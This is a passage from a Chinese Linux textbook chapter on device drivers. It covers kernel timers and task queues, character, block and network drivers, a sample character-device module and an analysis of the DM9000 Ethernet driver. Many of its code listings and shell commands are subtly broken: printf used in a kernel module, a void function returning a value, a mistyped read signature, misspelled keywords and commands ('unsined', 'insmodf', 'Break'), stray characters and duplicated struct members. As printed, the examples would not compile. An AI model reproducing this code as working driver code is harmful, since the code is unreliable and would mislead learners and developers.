任务队列是任务的一张列表，每个任务用一个函数指针和一个参数表示。任务运行时，它接受一个void*类型的参数，返回值类型为void。而参数指针data可用来将一个数据结构传入函数，或者可被忽略。队列本身是结构（任务）的列表，为声明和操作它们的内核模块所拥有。这些模块全权负责这些数据结构的分配和释放，为此一般使用静态的数据结构。任务队列是处理异步事件的重要资源，而且绝大多数的中断处理程序将它们的任务延迟到处理任务队列时执行。

3.内核定时器

内核中最终的计时资源是定时器。定时器用于调度函数（定时器处理程序）在未来某个特定时间执行。可以指定函数在未来何时被调用，但无法确定任务队列中的任务何时执行。内核定时器注册的处理函数只执行一次——定时器不是循环执行的。

Linux使用两种定时器：旧定时器和新定时器。旧定时器包括32个静态的定时器，数据结构包括一个标明活动的定时器的位屏蔽码和定时器数组，数组的每个成员又包括一个处理程序和该定时器的超时值。新定时器被组织为双向链接表，可加入任意多的定时器。定时器包括它的超时值和超时时调用的函数。


14.4　字符设备驱动

字符设备是指所有能像字节流一样访问的设备，其接口支持面向字符的I/O操作，它不经过系统的快速缓存，而是负责管理自己的缓冲区结构。字符设备接口只支持顺序存储的功能，一般不能进行任意长度的I/O请求，而是限制I/O请求的长度必须是设备要求的基本块长的倍数。


 14.4.1　字符设备驱动相关函数和结构体

字符设备包括鼠标、键盘、打印机等最基本、最常用的设备。字符设备驱动程序是Linux系统最基本、最常用的驱动程序之一。只要不挂载文件系统的设备，都可以用字符设备来描述。可以使用与普通文件相同的文件操作命令对字符设备文件进行操作，例如打开、关闭、读、写等。

概括地说，字符设备驱动主要包括：

·定义一个结构体变量static struct file_operations，其内定义一些设备的打开、关闭、读、写、控制函数。

·在结构体外分别实现结构体中定义的这些函数。

·在内核中注册或删除驱动模块。

字符设备驱动程序的框架的核心是数据结构struct file_operations，它是一系列指针的集合，每个被打开的文件都对应于一系列的操作，需要在驱动程序中加以实现。其定义如下（在/include/linux/fs.h中定义）：



struct file_operations

{

int(*seek)(struct inode*,struct file*,off_t,int);

int(*read)(struct inode*,struct file*,char,int);

int(*write)(struct inode*,struct file*,off_t,int);

int(*readdir)(struct inode*,struct file*,struct dirent*,int);

int(*select)(struct inode*,struct file*,int,select_table*);

int(*ioctl)(struct inode*,struct file*,unsined int,unsigned long);

int(*mmap)(struct inode*,struct file*,struct vm_area_struct*);

int(*open)(struct inode*,struct file*);

int(*release)(struct inode*,struct file*);

int(*fsync)(struct inode*,struct file*);

int(*fasync)(struct inode*,struct file*,int);

int(*check_media_change)(struct inode*,struct file*);

int(*revalidate)(dev_t dev);

}



这个结构的每一个成员的名字都对应着一个系统调用。用户进程利用系统调用在对设备文件进行诸如read/write操作时，系统调用通过设备文件的主设备号找到相应的设备驱动程序，然后读取这个数据结构相应的函数指针，接着把控制权交给该函数。

对于每个进程，都包含一个files_struct结构，用来记录文件描述符的使用情况，定义在include/linux/sched.h中，Linux中的每个进程最多只能同时打开NR_OPEN_DEFAULT个文件。



struct files_struct

{

atomic_t count;/*使用该表的进程数*/

rwlock_t file_lock;/*锁*/

int max_fds;/*当前文件对象的最大数*/

int max_fdset;/*当前文件描述符的最大数*/

int next_fd;/*数值最小的最近关闭文件的文件描述符*/

struct file **fd;/*指向文件对象数组的指针*/

fd_set *close_on_exec;/*指向执行exec时需要关闭的文件描述符*/

fd_set *open_fds;/*指向文件描述符屏蔽字集合*/

fd_set close_on_exec_init;/*执行exec时需要关闭的文件描述符初值集合*/

fd_set open_fds_init;/*文件描述符的屏蔽字集合*/

struct file*fd_array[NR_OPEN_DEFAULT];/*文件对象指针数组*/

};



struct inode定义文件在/include/linux/fs.h中，被内核用来代表一个文件，struct inode包括很重要的两个成员，一个代表设备文件的设备号，另一个代表字符设备的数据结构。同一个文件可以被打开多次，所以可以对应很多struct file，但是只对应一个struct inode。



struct inode

{

struct list_head i_hash;/*哈希表*/

struct list_head i_list;/*索引节点链表指针*/

struct list_head i_dentry;/*目录项链表指针*/

struct list_head i_dirty_buffers;/*指向dirty索引缓冲区指针*/

struct list_head i_dirty_data_buffers;/*指向dirty数据缓冲区指针*/

unsigned long i_ino;/*节点号*/

atomic_t i_count;/*当前使用该节点的进程数*/

Kdev_t i_dev;/*设备类型*/

umode_t i_mode;/*文件类型*/

uid_t i_uid;/*使用者id*/

gid_t i_gid;/*使用者id组*/

kdev_t i_rdev;/*实际设备标识符*/

loff_t i_size;/*以字节为单位的文件大小*/

time_t i_atime;/*文件最后访问时间*/

time_t i_mtime;/*文件最后修改时间*/

time_t i_ctime;/*结点最后修改时间*/

unsigned int i_nlink;/*硬链接数*/

unsigned int i_blkbits;/*以位为单位的块大小*/

unsigned long i_blksize;/*以字节为单位的块大小*/

unsigned long i_blocks;/*文件的块数*/

unsigned long i_versions;/*版本号*/

struct semaphore i_sem;/*用于同步操作的信号量结构*/

struct semaphore i_zombie;/*僵死索引结点的信号量*/

struct inode_operations *i_op;/*索引节点操作表*/

struct file_operations *i_fop;/*默认的索引节点操作*/

struct super_block *i_sb;/*指向超级块的指针*/

struct file_lock *i_flock;/*文件加锁链表*/

struct address_space i_mapping;/*管理所有可交换的页面*/

struct address_space i_data;/*数据空间*/

struct dquot *i_dquot[MAXQUOTAS];/*节点的磁盘限额*/

struct list_head i_devices;/*设备文件形成的链表*/

struct pipe_inode_info *i_pipe;/*指向管道文件*/

struct block_device *i_bdev;/*块设备文件指针*/

struct char_device*i_cdev;/*字符设备文件指针*/

unsigned long i_dnotify_mask;/*目录通知掩码*/

struct dnotify_struct *i_dnotify;/*目录通知*/

unsigned long i_state;/*索引结点状态标志*/

unsigned int i_flags;/*文件系统标志*/

unsigned char i_sock;

atomic_t i_writecount;/*写进程的引用记数*/

unsigned int i_attr_flags;

_u32 i_generation;

union

{

struct minix_inode_info minix_i;

struct ext2_inode_info ext2_i;

struct ext3_inode_info ext3_i;

struct hpfs_inode_info hpfs_i;

struct ntfs_inode_info ntfs_i;

struct msdos_inode_info msdos_i;

struct umosdos_inode_info umsdos_i;

struct iso_inode_info isofs_i;

struct nfs_inode_info nfs_i;

struct sysv_inode_info sysv_i;

struct affs_inode_info affs_i;

struct ufs_inode_info ufs_i;

struct efs_inode_info efs_i;

struct romfs_inode_info romfs_i;

struct shmem_inode_info shmem_i;

struct coda_inode_info coda_i;

struct smb_inode_info smbfs_i;

struct hfs_inode_info hfs_i;

struct adfs_inode_info adfs_i;

struct qnx4_inode_info qnx4_i;

struct reiserfs_inode_info reiserfs_i;

struct bfs_inode_info bfs_i;

struct udf_inode_info udf_i;

struct ncp_inode_info ncpfs_i;

struct proc_inode_info proc_i;

struct socket socket_i;

struct usbdev_inode_info usbdev_i;

struct jffs2_inode_info jffs2_i;

void *generic_ip;

}u;

};



对于大多数的字符设备，只要其中的部分操作即可。


14.4.2　字符设备驱动程序实例

字符设备驱动程序直接从用户进程传输数据，或传输数据到用户进程。下面通过一个例子对字符设备以及编写驱动程序的方法进行说明。

【例14-1】编写字符设备驱动程序

编写一个字符设备驱动程序，从中了解字符设备驱动程序的编写过程及基本结构。

[1]在Vi中创建一个新工程文件，命名为"example14_1.c"。

[2]在"example14_1.c"中创建如下代码。



example14_1.c

#include＜linux/types.h＞

#include＜linux/fs.h＞

#include＜linux/mm.h＞

#include＜linux/errno.h＞

#include＜asm/segment.h＞

unsigned int test_major=0;

static int read_test(struct inode*inode,struct file*file,char*buf,int count)

{

int left;

if(verify_area(VERIFY_WRITE,buf,count)==-EFAULT)

return-EFAULT;

for(left=count;left＞0;left--)

{

_put_user(1,buf,1);

buf++;

}

return count;

}

/*当调用read()时，read_test()被调用，它把用户的缓冲区全部写1。*/

static int write_test(struct inode*inode,struct file*file,const char*buf,int count)

{

return count;

}

static int open_test(struct inode*inode,struct file*file)

{

MOD_INC_USE_COUNT;

return 0;

}

static void release_test(struct inode*inode,struct file*file)

{

MOD_DEC_USE_COUNT;

return 0;

}

/*这几个函数是空操作，为下面的结构提供函数指针*/

struct file_operations test_fops={

read_test,

write_test,

open_test,

release_test,

};

int init_module(void)

{

int result;

result=register_chrdev(0,"test",＆test_fops);

if(result＜0){

printf(KERN_INFO"test:can't get major number\n");

return result;

}

if(test_major==0)test_major=result;/*dynamic*/

return 0;

}

/*编译成模块，将驱动程序嵌入内核*/

void cleanup_module(void)

{

unregister_chrdev(test_major,"test");

}

MODULE_LICENSE("GPL");

MODULE_AUTHOR("devdriver");



[3]输入下面的命令对example14_1.c文件进行编译。



[root@localhost～]#gcc-DMODULE-D_KERNEL_-cexample14_1.c



[4]编译完成后，自动生成example14_1.o文件，然后使用以下命令将其作为模块加入到Linux系统中。



[root@localhost～]#insmodf example14_1.o



[5]如果安装成功，在/proc/devices文件中就可以看到设备example14_1，并可以看到它的主设备号。用如下shell命令可以获得主设备号。



cat/proc/devices



[6]如果要卸载，运行以下命令即可。



[root@localhost～]rmmod example14_1



[7]如果要创建设备文件，使用如下命令。



mknod/dev/example14_1 cmajor minor



c是指字符设备，major是主设备号，minor是从设备号。

以上是一个简单的演示，但是它包含了编写一个字符设备驱动程序的基本步骤。真正实用的驱动程序复杂得多，要处理如中断、DMA、I/O端口等问题。


14.5　块设备驱动

一个块是一个固定大小的数据块，大小由内核决定，块常常是4096字节，但是这个值可以根据使用的文件系统而变化。块设备就是支持以数据块的方式进行读写的设备，提供大容量数据的存储功能。本节介绍Linux系统中块设备驱动的相关知识。


 14.5.1　块设备驱动概述

块设备接口主要是针对硬盘、软盘、CD-ROM等慢速设备设计的，以免耗费过多的CPU等待时间。它仅仅支持面向块的I/O操作，所有I/O操作都通过在内核地址空间中的I/O缓冲区进行，执行I/O操作的速度较慢，它可以支持几乎任意长度和任意位置上的I/O请求，通常是可移动的单元，块设备可以随机访问。当多个请求同时提交给设备时，块设备访问的性能很大程度上取决于请求的顺序。由于块设备有可移动的单元，如果所有的请求是朝着同一个方向的，性能最佳。

块设备驱动程序的特点如下：

·块设备接口相对复杂，不如字符设备明晰易用。

·块设备驱动程序对整个系统的性能影响较大，速度和效率是需要考虑的重要方面。

·系统中使用缓冲区与访问请求的优化管理来提高系统的性能。

表14-1列出块设备和字符设备之间的区别。
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块设备接口比较复杂，其驱动程序对整个系统的性能影响较大，设计块设备驱动程序要兼顾速度和效率两个方面。块设备驱动同字符设备驱动一样，必须使用一套注册接口来使内核可使用它们的设备。

注册的函数是register_blkdev()，在/include/linux/fs.h中定义：



int register_blkdev(unsigned int major,const char*name);



参数是设备要使用的主编号和关联的名字，如果major传递为0，内核分配一个新的主编号并且返回给调用者，如果register_blkdev返回一个负值表示发生了一个错误。

注销的函数是unregister_blkdev()，其函数原型为：



int unregister_blkdev(unsigned int major,const char*name);



这里，参数必须匹配传递给register_blkdev，否则这个函数返回-EINVAL并且不进行注销。

块设备和字符设备类似，都是通过文件系统进行访问，二者的区别在于内核内部管理数据的方式不同。


14.5.2　与块设备相关的结构体

与Linux块设备驱动相关的结构体如下。

1.struct block_device_operations结构体

块设备通过struct block_device_operations体结体构使它们的操作对系统可用，定义在/include/linux/fs.h中。



struct block_device_operations

{

int(*open)(struct inode*,struct file*);/*打开设备*/

int(*release)(struct inode*,struct file*);/*释放*/

int(*ioctl)(struct inode*,struct file*,unsigned,unsigned long);/*ioct1系统调用的实现*/

long(*unlocked_ioctl)(struct file*,unsigned,unsigned long);

long(*compat_ioctl)(struct file*,unsigned,unsigned long);

int(*direct_access)(struct block_device*,sector_t,unsigned long*);

int(*media_changed)(struct gendisk*);/*用于检查驱动器介质是否改变*/

int(*revalidate_disk)(struct gendisk*);/*使介质有效*/

int(*getgeo)(struct block_device*,struct hd_geometry*);/*填充驱动器信息*/

struct module*owner;/*模块拥有者*/

};



2.struct gendisk结构体

在Linux内核中，使用struct gendisk结构体来表示一个独立的磁盘设备或者分区。



struct gendisk{

int major;/*主设备号*/

int first_minor;/*第1个次设备号*/

int minors;/*最大次设备号数量,如果设备不能分区,该值为1*/

char disk_name[32];/*主设备名*/

struct hd_struct**part;/*分区信息*/

int part_uevent_suppress;

struct block_device_operations*fops;/*设备操作结构体*/

struct request_queue*queue;/*设备请求队列*/

void*private_data;/*私有数据*/

sector_t capacity;/*扇区数*/

int flags;/*设置驱动器状态的标志*/

char devfs_name[64];

int number;

struct device*driverfs_dev;

struct kobject kobj;

struct timer_rand_state*random;

int policy;

atomic_t sync_io;

unsigned long stamp,stamp_idle;

int in_flight;

#ifdef CONFIG_SMP

struct disk_stats*dkstats;

#else

struct disk_stats dkstats;

#endif

};



struct gendisk结构体的相关函数：



struct gendisk*alloc_disk(int minors);/*分配磁盘*/

void add_disk(struct gendisk*disk);/*激活磁盘*/

void del_gendisk(struct gendisk*gp);/*卸载磁盘*/

static inline void set_capacity(struct gendisk*disk,sector_t size);/*设置容量*/

void blk_queue_hardsect_size(request_queue_t*q,unsigned short size);/*设置扇区大小*/



3.struct request_queue结构体

struct request_queue结构体表征等待进行的请求队列。



struct request_queue

{

struct list_head queue_head;

struct request*last_merge;

elevator_t elevator;

request_fn_proc*request_fn;

merge_request_fn*back_merge_fn;

merge_request_fn*front_merge_fn;

merge_requests_fn*merge_requests_fn;

make_request_fn*make_request_fn;

prep_rq_fn*prep_rq_fn;

unplug_fn*unplug_fn;

merge_bvec_fn*merge_bvec_fn;

activity_fn*activity_fn;

struct timer_list unplug_timer;

int unplug_thresh;

unsigned long unplug_delay;

struct work_struct unplug_work;

struct backing_dev_info backing_dev_info;

void*queuedata;

void*activity_data;

unsigned long bounce_pfn;

int bounce_gfp;

unsigned long queue_flags;

spinlock_t queue_lock;/*保护队列结构体的自旋锁*/

struct kobject kobj;

unsigned long nr_requests;/*最大请求数量*/

unsigned int nr_congestion_on;

unsigned int nr_congestion_off;

unsigned short max_sectors;/*最大的扇区数*/

unsigned short max_phys_segments;

unsigned short max_hw_segments;

unsigned short hardsect_size;/*硬件扇区尺寸*/

unsigned int max_segment_size;

unsigned long seg_boundery_mask;

unsigned int dma_alignment;

struct blk_queue_tag*queus_tags;

atomic_t int refcnt;

unsigned int in_flight;

unsigned int sg_timeout;

unsigned int sg_reserved_size;

};



（1）初始化请求队列



request_queue_t*blk_init_queue(request_fn_proc*rfn,spinlock_t*lock);



该函数的第1个参数是请求处理函数的指针，第2个参数是控制访问队列权限的自旋锁，该函数在块设备驱动的模块加载函数中调用。

（2）提取请求



struct request*elv_next_request(request_queue_t*queue);



该函数用于返回下一个要处理的请求（由I/O调度器决定），如果没有请求返回NULL。

（3）请求完成



void end_request(struct request*req,int uotodata);



（4）设置扇区尺寸



void blk_queue_hardsect_size(request_queue_t*q,unsigned short size);



4.struct hd_struct结构体

该结构体存储了磁盘上的分区信息。



struct hd_struct

{

sector_t start_sect;

sector_t nr_sects;

struct kobject kobj;

unsigned reads,read_sectors,writes,write_sectors;

int policy,partno;

}



5.struct bio结构体

该结构用来描述内核以文件系统、虚拟内存子系统或系统调用的形式对块I/O设备进行的输入/输出数据的操作。



struct bio

{

sector_t bi_sector;

struct bio *bi_next;/*请求队列链表*/

struct block_device *bi_bdev;

unsigned long bi_flags;/*状态和命令标志*/

unsigned long bi_rw;

unsigned short bi_vcnt;/*bio_vec的偏移个数*/

unsigned short bi_idx;/*bio_vec的当前索引*/

unsigned short bi_phys_segments;

unsigned short bi_hw_segments;

unsigned int bi_size;/*剩余I/O数量*/

unsigned int bi_hw_front_size;

unsigned int bi_hw_back_size;

unsigned int bi_max_vecs;/*最多可持有的bio_vecs数量*/

struct bio_vec *bi_io_vec;/*实际的矢量表*/

bio_end_io_t *bi_end_io;

atomic_t bi_cnt;

void *bi_private;

bio_destructor_t *bi_destructor;/*销毁器*/

};



6.struct block_device结构体

这个结构体代表了内核中的一个设备，它可以表示整个磁盘或者一个特定的分区。当这个结构体代表一个分区时，bd_contains指向包含这个分区的设备，bd_part指向设备的分区结构。当这个结构体代表一个块设备时，bd_disk指向设备的gendisk结构。



struct block_device

{

dev_t bd_dev;

struct inode *bd_inode;/*分区节点*/

int bd_openers;

struct semaphore bd_sem;/*打开/关闭锁*/

struct semaphore bd_mount_sem;/*加载互斥锁*/

struct list_head bd_inodes;

void* bd_holders;

int bd_holders;

struct block_device* bd_contains;

unsigned bd_block_size;/*分区块大小*/

struct hd_struct* bd_part;

unsigned bd_part_count;/*打开次数*/

int bd_invalidated;

struct gendisk* bd_disk;

struct list_head bd_list;

struct backing_dev_info*bd_inode_backing_dev_info;

unsigned long bd_private;

};



Linux中的块设备和UNIX不同，在Linux中可以像访问字符设备一样访问块设备，UNIX只能将块设备看作块来访问。


14.6　网络设备驱动

Linux系统中的网络设备是一类特殊的设备，网络设备并没有文件系统的节点，即网络设备没有设备文件。在Linux网络系统中，其网络子系统主要是基于BSD UNIX的socket机制。在网络子系统和驱动程序之间定义了专门的数据结构sk_buff进行数据传递。Linux系统提供支持对发送数据和接收数据的缓存，提供流量控制机制，提供对多协议的支持。

网络接口在内核层处理包的发送和接收，并不存在于进程中的Linux文件系统中。网络接口在文件系统中的角色就像被挂载的块设备，在内核中用device数据结构来表示，在做数据包的发送和接收时直接通过接口访问，不需要进行文件的操作。网络驱动程序和内核之间的交互一次处理一个网络包，这允许协议可以对驱动程序隐藏，而物理传输可以对协议隐藏。


 14.6.1　网络设备概述

常用的网络设备有中继器、网桥、路由器和网关。

中继器是局域网互联的最简单设备，它工作在OSI体系结构的物理层，接收并识别网络信号，然后再生成信号并将其发送到网络的其他分支上。

网桥工作于OSI体系的数据链路层。网桥包含了中继器的功能和特性，不仅可以链接多种介质，还能链接不同的物理分支，能将数据包在更大的范围内传送。

路由器工作在OSI体系结构中的网络层，这意味着它可以在多个网络上交换数据包。路由器通过在相对独立的网络中交换具体协议的信息来实现这个目标。比起网桥，路由器不但能过滤和分隔网络信息流、链接网络分支，还能访问数据包中更多的信息，并且用来提高数据包的传输效率。路由器主要用于广域网或广域网与局域网的互连。

网关能使不同的网络互联，从一个环境中读取数据，剥去数据的老协议，然后用目标网络的协议进行重新包装。网关较为常见的用途是在局域网的微机和小型机或大型机之间做翻译，典型应用是网络专用服务器。


14.6.2　网络设备的运行机制

在Linux中为了简化对设备的管理，通常将所有外围设备归为三类：字符设备、块设备和网络设备。为了将网络设备中的物理网络设备的多样性进行屏蔽，Linux对所有网络物理设备抽象并定义了一个统一概念：接口。对于所有网络硬件的访问都是通过接口进行的，接口实际上提供了一个对于所有类型网络硬件的一致化操作集合，用来处理对数据的发送和接收。数据结构struct net_device就是网络设备接口，它既包括纯软件网络设备接口，如环路，又包括硬件网络设备接口，如以太网卡。在内核启动或者驱动模块插入后，通过网络驱动程序，向系统注册检测到的网络设备。在进行网络数据传输时，网络驱动程序需要负责通过标准的接口将数据发送到相应的网络层，或者向网络发送数据包。

网络接口定义在内核中的一个struct device的数据结构中。每一个device的数据结构都是在驱动时创建的，device结构如图14-1所示。
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图　14-1　struct device结构图

系统中所有的网络设备都是通过一个网络接口管理表dev_base统一进行管理的。在系统初始化完成后，系统检测到的所有网络设备都将自动保存在这张链表中，链表中的每一个字节都代表一个系统检测到的网络物理设备。当系统需要发送数据时，网络子系统根据系统路由表选择相应的网络接口进行数据传输；而当接收到数据包时，通过驱动程序登记的中断服务程序进行数据的接收。网络设备驱动层次如图14-2所示。
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图　14-2　Linux网络设备的驱动层次


14.6.3　数据包的发送与接收

网络设备的初始化主要由结构体net_de-vice中的init()函数指针所指向的初始化函数完成，当内核启动或加载网络驱动模块时，就会调用该函数。在初始化函数中通过检测物理设备的硬件特征判断网络物理设备是否存在，然后决定是否启动这个驱动程序。接下来对设备进行资源分配，最后对结构体net_device相应的成员变化量初始化，使得一个网络设备可以被系统使用。结构体net_device存储网络接口的重要信息，是网络驱动程序的核心，它是系统中网络设备的代表，提供了多个设备方法，供操作系统和协议层调用。

网络设备注册和注销的函数为：



int register_netdev(struct net_device*dev);

void unregister_netdev(struct net_device*dev);



数据包的发送和接收是实现Linux网络驱动程序的两个最关键的过程，这两个过程处理得好与坏会直接影响到整个网络的运行质量。当内核需要发送一个数据包时，它调用hard_start_transmit方法将数据放到一个输出队列。指向sk_buff的指针通常被称作skb，传递给hard_start_xmit的插座缓冲区含有物理包，它具有传输层的包头。接口不需要修改被发送的数据。

1.数据包的发送

网络设备发送过程比较简单，其数据发送是按以下步骤进行的。

[1]它调用dev-＞hard_start_xmit方法，将套接字缓冲区发送到硬件设备。它具有传输层的头，接口不需要修改被发送的数据。skb-＞data指向被发送的包，该函数把套接字缓冲区链入网络设备结构管理的发送队列，随后唤醒网络设备，准备把该队列中的数据包发送到网络上。

[2]判断从协议层传过来的数据包长度是否合法以及网络设备的状态是否可用。如果一切正常，则继续执行。否则返回错误码。

[3]通过对控制寄存器的操作来执行设备接口发送数据包的程序代码。

[4]当发送结束时，返回。

2.数据包的接收

从网络中接收数据比发送要复杂，因为必须要分配一个sk_buff，并从一个中断处理程序中将其递交给高层。接收包最好的方法是通过中断，除非接口是纯软件的或者是环回接口。

在Linux系统中，网络设备接口以中断处理程序的方式控制。实际上，网络设备驱动程序的接收函数就是网络设备驱动程序的中断处理函数。网络设备数据包的接收比发送要复杂，数据帧的接收过程如下。

1）在硬件收到一个数据包后，网络设备的接收函数被调用，它通过一些底层的操作把数据帧从网络设备接收缓冲区读入内存。

2）调用netif函数。netif_rx因此收到一个指向数据的指针和包的长度。该函数的唯一职责就是将包和一些额外信息发送到网络代码的高层。

3）mark_bh被调用。它的功能是进行标记操作，为内核调用net_bh函数（中断处理函数的下半部例程）做准备。

4）调用net_bh进行中断处理程序的下半部处理。对数据包进行实际的处理，最后将接收到的数据包链入到backlog接收队列中。以后的工作就由网络层代码来进行。


14.6.4　网络设备驱动程序的加载

网络设备驱动程序可通过两种方式进行加载：通过内核启动时自动检测的方法和模块加载的方法。

1.网络设备驱动程序的内核启动加载

dev_base链表中的第一个节点是环回设备（loopback_dev），即通常所说的环回接口，用于检测系统是否支持网络通信。链表中的下一个网络设备给出配置的Linux内核而有所不同，通常由宏NEXT_DEV指定。所有支持的网络设备都通过这个宏存放在dev_base链表中。其中，以太网检测设备在函数ethif_probe中通过调用probe_list函数来实现。内核启动方式下整个函数调用如图14-3所示。
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图　14-3　内核启动方式的函数调用流程

2.网络设备驱动程序模块的加载

通过模块驱动的方法是Linux中使用模块设计的一种方案。Linux的内核是将所有的支持编译在一起的。如果对Linux内核增加一项功能，就把它的实现直接放在内核代码中。为了让Linux的内核体积不致过于庞大，采用了编译成内核的方式。在需要用到这个模块的时候，用insmod命令将该模块插入到内核的运行空间；如果不需要，用rmmod命令将该模块卸载。

在ne.c中，init_module()函数首先初始化dev设备的init函数指针，然后调用register_netdev()函数在系统中登记该设备。若登记成功，则模块成功插入，否则返回出错信息。在register_net-dev()里面，首先检查该网络设备名是否确定，如果没有，就赋一个默认的名称。然后，调用网络设备驱动程序中的init_function，也就是dev-＞init函数指针来检测网卡设备是否存在，并且做dev的初始化工作。如果初始化成功，将该dev设备加到dev_base链表尾部。整个调用如图14-4所示。
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图　14-4　模块加载方式启动网络设备的流程图


14.6.5　DM9000网卡驱动程序分析

1.DM9000网卡芯片介绍

DM9000是一款集成的廉价快速以太网芯片，它带有一个通用处理器接口，一个10/100M物理接口和一个双字节的SRAM。DM9000还提供了一个MII接口，用于连接HPNA设备或其他支持MII的收发器。DM9000物理协议层接口完全支持使用10MBps下3类、4类、5类非屏蔽双绞线和100MBps下5类非屏蔽双绞线。它的自动协调功能将自动完成配置以最大限度地适合其线路带宽。DM9000网卡芯片的结构图如图14-5所示。
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图　14-5　DM9000网卡芯片结构图

DM9000网卡芯片的特点如下：

·以字节/字/双字的I/O指令读写内部存储器的数据。

·集成10/100M自适应收发器。

·支持MII/RMII接口。

·支持半双工流量控制模式。

·支持IEEE 802.3x流量控制的全双工模式。

·支持唤醒帧，支持链路状态改变和远程的唤醒。

·支持4K双字SRAM。

·支持自动加载EEPROM里面的生产商ID和产品ID。

·支持4个通用输入/输出口。

·支持超低功耗模式。

·支持电源故障模式。

·可选择1:1或5:4变压比例的变压器降低额外功率。

·兼容3.3V和5.0V输入/输出电压。

·具有100脚CMOS LQFP封装工艺。

2.DM9000网卡驱动程序

Linux 2.6中已经自带了DM9000的网卡芯片驱动，源文件为drivers/net/dm9000.c。它既可以编译进内核，也可以编译为一个模块，入口函数都是dm9000_init()，代码如下：



static int_init

dm 9000_init(void)

{

printk(KERN_INFO"%s Ethernet Driver\n",CARDNAME);

return platform_driver_register(＆dm9000_driver);

}



驱动程序的部分关键函数代码如下：



static void dm9000_reset(board_info_t*db)/*网卡复位函数*/

{

PRINTK1("dm9000x:resetting\n");

writeb(DM9000_NCR,db→io_addr);/*指定寄存器*/

udelay(200);

writeb(NCR_RST,db→io_data);/*向NCR寄存器写入复位标志*/

udelay(200);

}

static u8 ior(board_info_t*db,int reg)/*读寄存器函数*/

{

writeb(reg,db→io_addr);

return readb(db→io_data);

}

static void iow(board_info_t*db,int reg,int value)/*写寄存器函数*/

{

writeb(reg,db→io_addr);

writeb(value,db→io_data);

}

static void dm9000_dumpblk_8bit(void_iomem*reg,int count)/*将reg指向的count清空*/

{

int i;

int tmp;

for(i=0;i＜count;i++)

tmp=readb(reg);

}

static void dm9000_set_io(struct board_info*db,int byte_width)/*输入/输出选择函数*/

{

switch(byte_width)

{

case 1:

db→dumpblk=dm9000_dumpblk_8bit;

db→outblk=dm9000_outblk_8bit;

db→inblk=dm9000_inblk_8bit;

Break;

case2:

db→dumpblk=dm9000_dumpblk_16bit;

db→outblk=dm9000_outblk_16bit;

db→inblk=dm9000_inblk_16bit;

break;

case 3:

printk(KERN_ERR PFX":3 byte IO,falling back to 16bit\n");

db→dumpblk=dm9000_dumpblk_16bit;

db→outblk=dm9000_outblk_16bit;1

db→inblk=dm9000_inblk_16bit;

break;

case 4:

default;

db→dumpblk=dm9000_dumpblk_32bit;

db→outblk=dm9000_outblk_32bit;

db→inblk=dm9000_inblk_32bit;

break;

}

}

static void dm9000_timeout(struct net_device*dev)/*超时处理函数*/

{

board_info_t*db=(board_info_t*)dev→priv;

u8 reg_save;

unsigned long flags;

reg_save=readb(db→io_addr);

spin_lock_irqsave(＆db→lock,flags);

netif_stop_queue(dev);/*停止发送报文*/

dm9000_reset(db);/*DM9000芯片复位*/

dm9000_init_dm9000(dev);/*初始化芯片*/

dev→trans_start=jiffies;

netif_wake_queue(dev);

writeb(reg_save,db→io_addr);

spin_unlock_irqrestore(＆db→lock,flags);

}

static int dm9000_open(struct net_device*dev)/*网卡激活函数*/

{

board_info_t*db=(board_info_t*)dev→priv;

PRINTK2("entering dm9000_open\n");

if(request_irq(dev→irq,＆dm9000_interrupt,IRQF_SHARED,dev→name,dev))

return-EAGAIN;

dm9000_reset(db);

dm9000_init_dm9000(dev);

db→dbug_cnt=0;

init_timer(＆db→timer);/*初始化内核定时器*/

db→timer.expires=DM9000_TIMER_WUT;

db→timer.data=(unsigned long)dev;

db→timer.function=＆dm9000_timer;/*内核定时器溢出回调函数*/

add_timer(＆db→timer);/*启动内核定时器*/

mii_check_media(＆db→mii,netif_msg_link(db),1);/*检查MII接口状态*/

netif_start_queue(dev)

return 0;

}

static void dm9000_init_dm9000(struct net_device*dev)/*初始化DM9000网卡函数*/

{

board_info_t*db=(board_info_t*)dev→priv;

PRINTK1("entering%s\n",_FUNCTION_);

db→io_mode=ior(db,DM9000_ISR)＞＞6;

iow(db,DM9000_GPR,0);

iow(db,DM9000_GPCR,GPCR_GEP_CNTL);

iow(db,DM9000_GPR,0);

iow(db,DM9000_TCR,0);

iow(db,DM9000_BPTR,0x3f);

iow(db,DM9000_FCR,0xff);/*流控制*/

iow(db,DM9000_SMCR,0);/*网卡工作模式*/

iow(db,DM9000_NSR,NSR_WAKEST|NSR_TX2END|NSR_TX1END);

dm9000_hash_table(dev);

iow(db,DM9000_RCR,RCR_DIS_LONG|RCR_DIS_CRC|RCR_RXEN);

iow(db,DM9000_IMR,IMR_PAR|IMR_PTM|IMR_PRM);

db→tx_pkt_cnt=0;

db→queue_pkt_len=0;

dev→trans_start=0;

}

static int dm9000_drv_remove(struct platform_device*pdev)/*网卡设备删除函数*/

{

struct net_device*ndev=platform_get_drvdata(pdev);

platform_set_drvdata(pdev,NULL);

unregister_netdev(ndev);

dm9000_release_board(pdev,(board_info_t*)ndev→priv);

free_netdev(ndev);/*释放资源*/

PRINTK1("clean_module()exit\n");

return 0;

}




14.7　实践拓展

1.在Linux中安装显卡驱动的技巧

[1]下载一个Linux版的显卡驱动。

[2]进入系统后，按Ctrl+Alt+BackSpace进入字符界面，用root登陆，如果还是图形界面，就进入图形界面后在shell下输入命令init 3进入字符界面。

[3]在字符界面进入显卡驱动的目录后开始安装。

[4]输入命令init 5进入图形界面，如果图形界面报错就重启系统。

2.Linux操作系统驱动的编译与运行手工加载技巧

[1]使用insmod加载驱动模块到内核。

[2]使用cat/proc/modules|grep查看模块在内核中的地址，不加过滤器可以看到全部加载的模块。

[3]使用lsmod显示模块，这时可以看到所有的模块名字，后面跟的是主设备号和次设备号。

[4]使用rmmod把模块从内核里卸载。


14.8　思考与练习

一、概念题

1.Linux设备驱动程序有哪些特点？

2.Linux操作系统下有哪些主要的设备文件？

3.什么是模块编程，有什么特点？

二、操作题

1.查找资料，实现一个LED驱动程序。

2.编写一个字符设备的驱动程序，熟悉内核加载和系统调用的过程。


第15章　Linux文件操作

本章要点：

Linux文件结构

文件操作相关函数

目录操作

制作根文件系统


 15.1　Linux文件结构

Linux是以文件为基础而设计的，Linux的文件子系统主要用于管理文件存储空间的分配、文件访问权限的维护、对文件的各种操作。用户可以使用命令对文件进行操作，但在功能上受到一定的限制。可以通过系统调用或C语言的库函数对文件进行操作。

